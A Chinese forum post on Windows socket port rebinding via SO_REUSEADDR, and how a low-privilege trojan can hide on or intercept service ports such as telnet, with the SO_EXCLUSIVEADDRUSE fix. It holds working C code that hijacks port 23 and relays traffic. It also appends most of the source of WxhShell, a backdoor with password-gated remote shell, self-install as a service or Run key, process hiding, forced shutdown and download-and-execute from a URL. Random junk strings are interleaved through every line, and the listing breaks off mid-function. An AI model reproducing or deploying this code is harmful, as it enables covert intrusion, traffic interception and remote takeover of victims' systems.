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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SD:D8"8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZgG~xl\My  
=Gu&0f  
  saddr.sin_family = AF_INET; ']>9 /r#  
?}v/)hjp=?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 99`w'Nlk  
{d*OJ/4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _Y ;tD  
Ihf)gfHj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B @QWr;  
AX$r,KmE  
  这意味着什么?意味着可以进行如下的攻击: q?Csm\Y  
fz`)CWo:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4ryG_p52l  
MJqWc6{ n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2C}Yvfm4  
n[gE[kw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d{Jk:@.1  
1++g @8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vG'#5%,|  
8Th,C{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O1c:X7lHc  
HV)aVkr/&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &z1U0uk  
pZlsDM/=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h'};spv  
!L9OJ1F  
  #include _"B.V(  
  #include ssx#|InY  
  #include !CX WoM  
  #include    (m,H 5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hXth\e\[{`  
  int main() iLZY6?_^  
  { AK,'KO%{=  
  WORD wVersionRequested; r!dWI  
  DWORD ret; 3k9n*jY0  
  WSADATA wsaData; 7~QI4'e  
  BOOL val; |&JeJ0k>~  
  SOCKADDR_IN saddr; F/BR#J1  
  SOCKADDR_IN scaddr; |xcI~ X7Q  
  int err; vuPNru" 2  
  SOCKET s; #DFi-o&-  
  SOCKET sc; 30uPDDvar  
  int caddsize; /m"/#; ^l  
  HANDLE mt; lJ-PW\P  
  DWORD tid;    &Q~W{.  
  wVersionRequested = MAKEWORD( 2, 2 ); A_oZSUrR  
  err = WSAStartup( wVersionRequested, &wsaData ); i m;6$3  
  if ( err != 0 ) { 9%T"W  
  printf("error!WSAStartup failed!\n"); %r(WS_%K|  
  return -1; {IV% _y?  
  } ":Tm6Nj  
  saddr.sin_family = AF_INET; Blzvn19'h  
   NgGMsE\C}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j %gd:-tA  
2uE<mjCt-r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P{n#^4  
  saddr.sin_port = htons(23); i)z|= |?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z{0BH{23  
  { Re8x!e'>  
  printf("error!socket failed!\n"); tr,W)5O@L  
  return -1; . |T=T0^  
  } !g]5y=  
  val = TRUE; t Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )FQ"l{P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LOx+?4|y  
  { ;3cbXc@]  
  printf("error!setsockopt failed!\n"); A ]A{HEX  
  return -1; H>EM3cFU  
  } 13!@L bC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LBK{-(%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c}o 6Rm50  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "17)`Yf  
f)/Z7*Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C:J;'[,S  
  { .Ix3wR9  
  ret=GetLastError(); [b3!H{b#  
  printf("error!bind failed!\n"); :x\[aG9  
  return -1; -XV,r<''  
  } 1(?4*v@B  
  listen(s,2); r<+C,h;aww  
  while(1) l'+3 6  
  { N6y9'LGG`  
  caddsize = sizeof(scaddr); tUv>1) [  
  //接受连接请求 :X;G]B .  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,&t+D-s<f  
  if(sc!=INVALID_SOCKET) m+Ye`]  
  { 7s|'NTp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ff#7}9_mh  
  if(mt==NULL) _ >OP  
  { FQ< -Wc  
  printf("Thread Creat Failed!\n"); <,]:jgX  
  break; b{A[\ "  
  } QJ2]8K)+C  
  } QHk\Z  
  CloseHandle(mt); c?A$Y?|9  
  } x>#{C,Fi  
  closesocket(s); g&Vhu8kNIA  
  WSACleanup(); G$<(>"Yr~$  
  return 0; 5p0~AN)  
  }   tDK@?PfKz  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q]k< Y  
  { B5lwQp]  
  SOCKET ss = (SOCKET)lpParam; <XdnVe1  
  SOCKET sc;  >;fVuy  
  unsigned char buf[4096]; OdzeHpH3g  
  SOCKADDR_IN saddr; /%T/@y  
  long num; |p|Zv H  
  DWORD val; Ds`e-X)O;\  
  DWORD ret; smn"]K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MpCPY"WLL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nQF& ^1n  
  saddr.sin_family = AF_INET; Qd} n4KF\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); = L!&Z  
  saddr.sin_port = htons(23); c+:ZmrP/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #dauXUKH  
  { 8Y`Lq$u  
  printf("error!socket failed!\n"); F]$ Nu  
  return -1; 1b5Z^a<u  
  } Xoe|]@U`  
  val = 100; B"^j>SF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 2Z:J 0  
  { 7>Scf  
  ret = GetLastError(); }LUvh  
  return -1; W5R/Ub@g  
  } CNB weM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^{Y,`F  
  { |+cz\+  
  ret = GetLastError(); ;d?BVe?  
  return -1; bxXpw&  
  } V6g*"e/8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V+gZjuN$  
  {  {53FR  
  printf("error!socket connect failed!\n"); JX59n%$@  
  closesocket(sc); &h5Vhzq(<  
  closesocket(ss); #VQZ"7nI@  
  return -1; Rk$7jZdTf  
  } o@Ye_aM~?Y  
  while(1) !wYN",R-  
  { zEQ]5>mG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MK#   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xdSMYH{2A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N.|F8b]v  
  num = recv(ss,buf,4096,0); xQ9t1b|{e  
  if(num>0) # qd!_oN  
  send(sc,buf,num,0); ,:S#gN{U  
  else if(num==0) m#+0m!  
  break; 0#|Jhmv-zL  
  num = recv(sc,buf,4096,0); Q2fxsa[  
  if(num>0) 8eT#- 9q@  
  send(ss,buf,num,0); dDcQSshL  
  else if(num==0) &8VH m?h  
  break; !)M}(I}  
  } pMU\f  
  closesocket(ss); KXWcg#zFY  
  closesocket(sc); [}L?EM  
  return 0 ; {|9knP  
  } A}(xH`A  
@]Q4K%1^"  
xU;SRB   
========================================================== 7gX32r$%V  
l$u52e!7  
下边附上一个代码,,WXhSHELL '/GB8L  
tQ }GTqk  
========================================================== 8:Hh;nl  
a^_K@  
#include "stdafx.h" <$A,|m  
/JNG}*  
#include <stdio.h> wBt7S!>G  
#include <string.h> +*.*bo  
#include <windows.h> EW$drY@  
#include <winsock2.h> C:1(<1K  
#include <winsvc.h> p5]W2i.,  
#include <urlmon.h> V lZ+x)E  
0+mR y57  
#pragma comment (lib, "Ws2_32.lib") 0\i\G|5  
#pragma comment (lib, "urlmon.lib") =p|IWn{P  
$NCvF'  
#define MAX_USER   100 // 最大客户端连接数 MJX ny4n  
#define BUF_SOCK   200 // sock buffer T4x%3-4 ;  
#define KEY_BUFF   255 // 输入 buffer _;}$/  
9DBX.|  
#define REBOOT     0   // 重启 :{<|,3oNdR  
#define SHUTDOWN   1   // 关机 }w)}=WmD  
Vg62HZ |  
#define DEF_PORT   5000 // 监听端口 14&|(M  
PE{<' K\g  
#define REG_LEN     16   // 注册表键长度 U*nB= =  
#define SVC_LEN     80   // NT服务名长度 Kmx4bp4  
P)VQAM  
// 从dll定义API 3MX#}_7A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )EMlGM'2q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f['I4 /o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nZiwR4kM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N+~ MS3  
~v&Q\>'  
// wxhshell配置信息 mBIksts5h  
struct WSCFG { gwNZ`_Q  
  int ws_port;         // 监听端口 ~_BjcY  
  char ws_passstr[REG_LEN]; // 口令 koB'Zp/FaY  
  int ws_autoins;       // 安装标记, 1=yes 0=no [Zdrm:=]L  
  char ws_regname[REG_LEN]; // 注册表键名 tF[) Y#  
  char ws_svcname[REG_LEN]; // 服务名 &fRz6Hd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tIn`L6b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1.%|Er 4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JCxQENsVqB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "E<+idoz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" = 1veO0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %,$xmoj9O]  
0fj C>AS  
}; 8(ZQM01;  
nh7_ jEX  
// default Wxhshell configuration IqlCl>_j  
struct WSCFG wscfg={DEF_PORT, U=%(kOx  
    "xuhuanlingzhe", "+2Cs  
    1, 8@ f!,!Wn  
    "Wxhshell", V~jp  
    "Wxhshell", L~/L<Ms  
            "WxhShell Service", O\uIIuy  
    "Wrsky Windows CmdShell Service", NxA4*_|H9  
    "Please Input Your Password: ", nGX3_-U4  
  1, IAbQgBvUD  
  "http://www.wrsky.com/wxhshell.exe", {a\! 1~  
  "Wxhshell.exe" nN.Gn+Cl  
    }; K:9AP{+  
W4.w  
// 消息定义模块 AEM;ZQU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &kvmLOI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4n.JRR&;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tKyGD|g S  
char *msg_ws_ext="\n\rExit."; W=g'Xu!|!2  
char *msg_ws_end="\n\rQuit."; Y>C0 5?>  
char *msg_ws_boot="\n\rReboot..."; *BrGh  
char *msg_ws_poff="\n\rShutdown..."; A *:| d~  
char *msg_ws_down="\n\rSave to "; zqt%x?l  
J:'_S `J  
char *msg_ws_err="\n\rErr!"; GL>YJ%  
char *msg_ws_ok="\n\rOK!"; G*_]Lz(N  
R<I#. KD  
char ExeFile[MAX_PATH]; ]5@n`;&#.  
int nUser = 0; og8hc~:ro  
HANDLE handles[MAX_USER]; ,K@[+ R!  
int OsIsNt; pdFO!A_t  
@J>JZ7m]\  
SERVICE_STATUS       serviceStatus; Uu*iL< `  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w*~s&7c2B  
&ID! lEd  
// 函数声明 }&L%c>  
int Install(void); OqRRf  
int Uninstall(void); B1FJAKI);  
int DownloadFile(char *sURL, SOCKET wsh); zp:QcL"  
int Boot(int flag); QEut@L  
void HideProc(void); F#L1~\7  
int GetOsVer(void); ?zC{T*a  
int Wxhshell(SOCKET wsl); LibQlNW\  
void TalkWithClient(void *cs); \K"7U  
int CmdShell(SOCKET sock); p-\->_9)y`  
int StartFromService(void); }%PK %/ zI  
int StartWxhshell(LPSTR lpCmdLine); .9Cy<z  
WcT= 5G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /;}%E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ){)-}M  
/TPtPq<7:#  
// 数据结构和表定义 g5pFr=NV  
SERVICE_TABLE_ENTRY DispatchTable[] = A15Kj#Oy  
{ o o'7  
{wscfg.ws_svcname, NTServiceMain}, %,~\,+NP  
{NULL, NULL} =#pYd~  
}; ?B e}{Qqlg  
;a>u7rw  
// 自我安装 k{vbi-^6rf  
int Install(void) )=iv3nF?6N  
{ 0fvOA*UP  
  char svExeFile[MAX_PATH]; o9sPyY$aQ  
  HKEY key; P%Vq#5  
  strcpy(svExeFile,ExeFile); G{4s~Pco[Q  
K,! V _  
// 如果是win9x系统,修改注册表设为自启动 *k8?$(  
if(!OsIsNt) { ^vT!24sK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R3a}YwJFXF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZQfPDH=  
  RegCloseKey(key); M!i|,S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (&Lt&i _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j-R*!i  
  RegCloseKey(key); IaSpF<&Y;  
  return 0; !dGu0wE  
    } _ h#I}uJ~  
  } [(3s5)O  
} 2yg6hR  
else { ZfqN4  
yj_> G  
// 如果是NT以上系统,安装为系统服务 7_ayn#;y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4LB8p7$|a3  
if (schSCManager!=0) DZC@^k \E  
{ O8bxd6xb  
  SC_HANDLE schService = CreateService 1F5KDWtE  
  ( =(7nl#o  
  schSCManager, `q<W %'Tb$  
  wscfg.ws_svcname, X)~wB7_0G  
  wscfg.ws_svcdisp, zM=MFKhi ~  
  SERVICE_ALL_ACCESS, =iKl<CqI$E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7g"u)L&32  
  SERVICE_AUTO_START, PgK7CG7G  
  SERVICE_ERROR_NORMAL, 1,;X4/*  
  svExeFile, u>:(MARsR  
  NULL, \|{/.R  
  NULL, U3V5Jo r#  
  NULL, %Rn*oV  
  NULL, ;mk[!  
  NULL }/ vW"&h-  
  ); m:?"|.]  
  if (schService!=0) 2NMs-Zs  
  { iI IXv  
  CloseServiceHandle(schService); 6ABK)m-y  
  CloseServiceHandle(schSCManager); *$vH]>)p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k[ro[E  
  strcat(svExeFile,wscfg.ws_svcname); ,u2Qkw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [|KvlOvP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =zyA~}M2  
  RegCloseKey(key); \\FT.e6  
  return 0; :HO5 T  
    } ~bhS$*t64  
  } MWh Y&I+  
  CloseServiceHandle(schSCManager); a9.yuSzL  
} ]oB~8d  
} h0rPMd(K  
+ GI906K  
return 1; \c:$ eF  
} T^1 Z_|A  
",$_\l  
// 自我卸载 K"0IWA  
int Uninstall(void) <:}nd:l1  
{ X@\W* nq  
  HKEY key; hGz_F/  
CBEf;I g  
if(!OsIsNt) { Mqr_w!8d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Afe }  
  RegDeleteValue(key,wscfg.ws_regname); 3#>W\_FY*D  
  RegCloseKey(key); }uZs)UQ|$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }4A] x`3  
  RegDeleteValue(key,wscfg.ws_regname); Cq\XLh `  
  RegCloseKey(key); ?;ok9Y  
  return 0; Tnp P'  
  } 4 o*i(W  
} \Oeo"|  
} ^m|@pp  
else { =SfNA F  
f+h\RE=BGt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1!<t8,W4  
if (schSCManager!=0) Jb QK$[z"  
{ 8 "l PiW3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 94"+l@K  
  if (schService!=0) =,6H2ew  
  { Y![Q1D!  
  if(DeleteService(schService)!=0) { y[8;mCh  
  CloseServiceHandle(schService); \MP~}t}c  
  CloseServiceHandle(schSCManager); MCKN.f%lP  
  return 0; H7zN|NdNw  
  } K^u,B3  
  CloseServiceHandle(schService); 4&}%GH>}  
  } ZL( j5E  
  CloseServiceHandle(schSCManager); 4q}+8F`0F  
} -S'KxC  
} F]ao Ty  
aM}9ZurI  
return 1; K*/oWYM]  
} ~g{j)"1  
Q{l,4P  
// 从指定url下载文件 0*gvHVd/l  
int DownloadFile(char *sURL, SOCKET wsh) )1s5vNVa  
{ A)f-r  
  HRESULT hr; Rx-\B$G  
char seps[]= "/"; m'rDoly"62  
char *token; (RddR{mX  
char *file; Aa ~W,  
char myURL[MAX_PATH]; ]o6 ZZK  
char myFILE[MAX_PATH]; yHeL&H  
0<,{poMM  
strcpy(myURL,sURL); C[J9 =!t  
  token=strtok(myURL,seps); 6{h\CU}"  
  while(token!=NULL) #])"1fk  
  { bMO^}qR`  
    file=token; F Z"n6hWA  
  token=strtok(NULL,seps); F>fCp  
  } TM)INo^  
`"5U b,~  
GetCurrentDirectory(MAX_PATH,myFILE); dY 8 H2;  
strcat(myFILE, "\\"); 6,>$Jzs)5E  
strcat(myFILE, file); >?$2`I  
  send(wsh,myFILE,strlen(myFILE),0); c!EA>:;(<  
send(wsh,"...",3,0); x~e._k=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `16'qc  
  if(hr==S_OK) dyQ7@K.E  
return 0; JipNI8\r  
else ^ja]e%w#  
return 1; Q]WBH_j  
DQG%`-J  
} ..N6]u  
yGa0/o18!?  
// 系统电源模块 |AYii-g  
int Boot(int flag) K~L&Z?~|E  
{ WVP?Ie8  
  HANDLE hToken; )OI}IWDl  
  TOKEN_PRIVILEGES tkp; \e86'&  
JwG(WLb:  
  if(OsIsNt) { *!QmYH5r0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f"Sp.'@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ufXWK3~\  
    tkp.PrivilegeCount = 1; 4|x _C-@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iw)gNQ%z4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GfONm6A  
if(flag==REBOOT) { HPtMp#`T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q{w|`vIb  
  return 0; )tlj{ 7p  
}  2E*=EjGV  
else { M5I`i{Gw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x6cG'3&T  
  return 0; SeHrj&5U  
} G&oD;NY@/  
  } A$2 ;Bf  
  else { B^2r4 9vC  
if(flag==REBOOT) { mV}bQ^*?Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d+DO}=]  
  return 0; 6ALjM-t=V  
} WJ8i=MO67  
else { .gO|=E"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "(=g7,I4  
  return 0; !oH{=.w  
} \GEz.Vb  
} 6FDj:~  
)>~ jjR  
return 1; kqB# 9  
} #Us<#"fC  
!Q\*a-C  
// win9x进程隐藏模块 nmpc<&<<  
void HideProc(void) pCt2 -aam  
{ jU-LT8y:  
6%V:Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p@pb[Bx~[  
  if ( hKernel != NULL ) 6aB]&WO1@  
  { syu/"KY^!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "E+;O,N-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ucv7`W gr  
    FreeLibrary(hKernel); *Xnf}Ozx  
  } lL zR5445)  
0_qr7Ui8(  
return; k2Cq9kQq  
} PxYK)n9&  
'=nmdqP  
// 获取操作系统版本 J4eU6W+{  
int GetOsVer(void) C9+rrc@4  
{ A@o7  
  OSVERSIONINFO winfo; -aBhN~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }Bv1fbD4U  
  GetVersionEx(&winfo); }V ]*FCpQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E 14DZ  
  return 1; G9Xkim Q'  
  else MR|A_e^x  
  return 0; 62nmm/c  
} (}wPu&Is,C  
BcQUD?LC`  
// 客户端句柄模块 P, ZQ*Ju  
int Wxhshell(SOCKET wsl) x#E M)Thq  
{ R@grY:h  
  SOCKET wsh; F4~ OsgZ'N  
  struct sockaddr_in client; l`~$cK!  
  DWORD myID; <Z t]V`-  
(~Bm\Jn  
  while(nUser<MAX_USER) )'jGf;du  
{ q5Zu'-Cx@  
  int nSize=sizeof(client); G[e,7jev  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H,<CR9@(5d  
  if(wsh==INVALID_SOCKET) return 1; 47Vt8oyh%  
I!Dx)>E&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?#c "wA&  
if(handles[nUser]==0) 8m H6?,@6  
  closesocket(wsh); IZdWEbN1  
else /Q W^v;^  
  nUser++; xN$V(ZX4  
  } c\[&IlM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _"F=4`lJ  
_!|$i  
  return 0; |Zn;O6c#L5  
} Jv 5l   
&OFVqm^  
// 关闭 socket )6XnxBSH  
void CloseIt(SOCKET wsh) Z}zka<y6K6  
{ pqvl,G5  
closesocket(wsh); p\I3fI0i  
nUser--; ?!F<xi:  
ExitThread(0); kL s{B  
} x-@?:P*  
!<h9XccN  
// 客户端请求句柄 1Z_]Ge<a  
void TalkWithClient(void *cs) I_Z?'M  
{ UCmJQJc  
EhD%  
  SOCKET wsh=(SOCKET)cs; [GM!@6U  
  char pwd[SVC_LEN]; [$$R>ELYQ  
  char cmd[KEY_BUFF]; X,M!Tp  
char chr[1]; {a>JQW5=  
int i,j; L#D)[v"  
uFuH/(}K[  
  while (nUser < MAX_USER) { i+Ne.h  
1 h162  
if(wscfg.ws_passstr) { \\Zsxya1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l YdATM(h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;eFV}DWW  
  //ZeroMemory(pwd,KEY_BUFF); -NzOX"V]3  
      i=0; \'w.<)(GI  
  while(i<SVC_LEN) { B'B0e`  
3<Z@!ft8  
  // 设置超时 <|3F('Q"  
  fd_set FdRead; 9$(N q  
  struct timeval TimeOut; >Ir?)h  
  FD_ZERO(&FdRead); +U1fa9NSn  
  FD_SET(wsh,&FdRead); +5GC?cW  
  TimeOut.tv_sec=8; D+BflI~9mP  
  TimeOut.tv_usec=0; sBxCi~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]RVme^=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VzM (u _)  
K(NP%:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Py9:(fdS  
  pwd=chr[0]; zyK11  
  if(chr[0]==0xd || chr[0]==0xa) { :W'.SRD  
  pwd=0; c!$~_?]  
  break; =*?XZA)c  
  } ~ayU\4B  
  i++; NUi&x+  
    } nrTCq~LO(  
Yk7^?W  
  // 如果是非法用户,关闭 socket o:%;AOcl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xLbF9ASim  
} @<S'f<>g  
>ZAn2s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n>lQ:l~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X*r?@uK5  
<U /r U9O  
while(1) { *u34~v16,  
F xXnX  
  ZeroMemory(cmd,KEY_BUFF); K!G/iz9SB  
(bogAi3<F  
      // 自动支持客户端 telnet标准   6A} 45  
  j=0; ns[h_g!j;  
  while(j<KEY_BUFF) { M[Jy?b)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VB+y9$Y'  
  cmd[j]=chr[0]; `b5pa`\4  
  if(chr[0]==0xa || chr[0]==0xd) { G7HvA46  
  cmd[j]=0; qS[nf>"  
  break; M`G#cEc  
  } Xu[A,6  
  j++; 3{- 8n/4 k  
    } g^2H(}frc  
\z=!It]f.  
  // 下载文件 qP[jtRIN  
  if(strstr(cmd,"http://")) { GplEad $  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qb1hk*$=  
  if(DownloadFile(cmd,wsh)) L q;=UE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!D,;,aQ  
  else hzy#%FaB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?w"zW6U  
  } Qnv)\M1  
  else { ca$K)=cDW  
bjs{_?  
    switch(cmd[0]) { k!wEPi]  
  i}LVBx"K(  
  // 帮助 <SNu`,/I  
  case '?': { P?YcZAJT*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $+[ v17lF  
    break; 5+iXOs<   
  } q!8aYw+c  
  // 安装 e:RgCDWL  
  case 'i': { sxU 0Fg   
    if(Install()) 4Y}{?]>pu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wr\A ->+  
    else yK:b $S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t\\`#gc9~i  
    break; rIWQD%Afm  
    } xEqr3(  
  // 卸载 p6W|4_a?  
  case 'r': { c\(CbC  
    if(Uninstall()) ]*vv=@"`e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I=9sTR)  
    else Y`!Zk$8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uBfSS\SX|  
    break; rE$=~s  
    } ?=0BU}  
  // 显示 wxhshell 所在路径 ._US8  
  case 'p': { }w/6"MJ[n  
    char svExeFile[MAX_PATH]; Fhk`qh'i  
    strcpy(svExeFile,"\n\r"); 2"!s8x1$  
      strcat(svExeFile,ExeFile); FkY <I]F  
        send(wsh,svExeFile,strlen(svExeFile),0); =2.q=a|'  
    break; ])NQzgS  
    } ,\=,,1_  
  // 重启 SK;c D>)  
  case 'b': { m>ApN@n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BXB ZX@jVk  
    if(Boot(REBOOT)) #8qhl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TnQ"c)ta  
    else { E8] kd  
    closesocket(wsh); :pvJpu$]  
    ExitThread(0); `(o:;<&3  
    } GX ;~K  
    break; ` D={l29H  
    } k}FmdaPI'  
  // 关机 V3<H8pL  
  case 'd': { 'j(F=9)  
